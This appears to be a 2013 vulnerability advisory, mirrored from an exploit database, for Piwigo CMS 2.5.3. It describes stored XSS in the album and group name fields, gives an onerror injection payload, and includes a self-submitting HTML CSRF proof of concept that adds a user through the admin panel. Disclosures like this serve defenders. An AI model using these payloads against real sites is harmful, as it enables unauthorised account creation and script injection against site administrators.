Piwigo CMS 2.5.3 - Multiple Web Vulnerabilities

🗓️ 15 Dec 2013 00:00:00Reported by sajithType

Piwigo CMS 2.5.3 Multiple Vulnerabilitie

###########################################################
[~] Exploit Title: Piwigo 2.5.3 CMS:Multiple vulnerability's
[~] Author: sajith
[~] version: Piwigo 2.5.3
[~]Vendor Homepage: http://piwigo.org
[~] vulnerable app link:http://www.piwigo.org/basics/downloads
###########################################################


[1] Stored XSS on Multiple parameters

    <1> click on Add photos (
http://127.0.0.1/cms/piwigo/admin.php?page=photos_add) and click on "create
new album" in the album name enter the payload "><img src=x
onerror=prompt(1);> and save it we can see that our payload gets
executed.we can also see that when you click on "albums" and "manage"
functionality payload gets executed.


    <2>click on users > groups > in the "group name" field add above xss
payload and click on save.


[2] CSRF vulnerability


    click on >users >manage  where "add a user " functionality can be
exploited using CSRF vulnerability(poc shown below)


<head>
<title>POC by sajith shetty</title>
</head>
<body>
<form action="http://127.0.0.1/cms/piwigo/admin.php?page=user_list"
id="formid" method="post">
<input type="hidden" name="login" value="crsfpoc123" />
<input type="hidden" name="password" value="Password123@" />
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="send_password_by_mail" value="1" />
<input type="hidden" name="submit_add" value="Submit" />
</form>
<script>
document.getElementById('formid').submit();
</script>
</body>
</html>

15 Dec 2013 00:00Current

7.4High risk

Vulners AI Score7.4